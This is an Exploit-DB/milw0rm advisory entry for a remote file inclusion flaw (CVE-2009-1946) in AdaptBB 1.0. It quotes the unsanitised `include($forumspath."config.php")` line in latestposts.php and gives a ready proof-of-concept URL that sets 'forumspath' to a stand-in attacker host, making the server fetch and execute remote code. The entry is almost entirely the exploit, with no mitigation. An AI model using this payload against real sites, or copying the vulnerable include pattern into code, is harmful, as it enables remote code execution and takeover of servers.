AdaptBB 1.0 - 'forumspath' Remote File Inclusion

Author: Mehmet Ince
type: webapps
platform: php
port: nan
date_added: 2009-05-31 
date_updated: 2009-06-01 
verified: 1 
codes: OSVDB-54832;CVE-2009-1946 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comAdaptBB_1.0.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-         AdaptBB 1.0  Remote File Include
=-
=-     Webpage:    http://www.adaptbb.com
=-     Download    http://sourceforge.net/project/downloading.php?group_id=253154&filename=AdaptBB_1.0.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=- Author: xoron
=-
=- Oss 14 Haziran!
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=-  Bug Code: in latestposts.php
=-
=-        in line 20. : include($forumspath."config.php");
=-
=-
=-
=-  /latestposts.php?forumspath=evilc0der?
=-
=-
=-  XOROn (C) 2009
=-
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-06-01]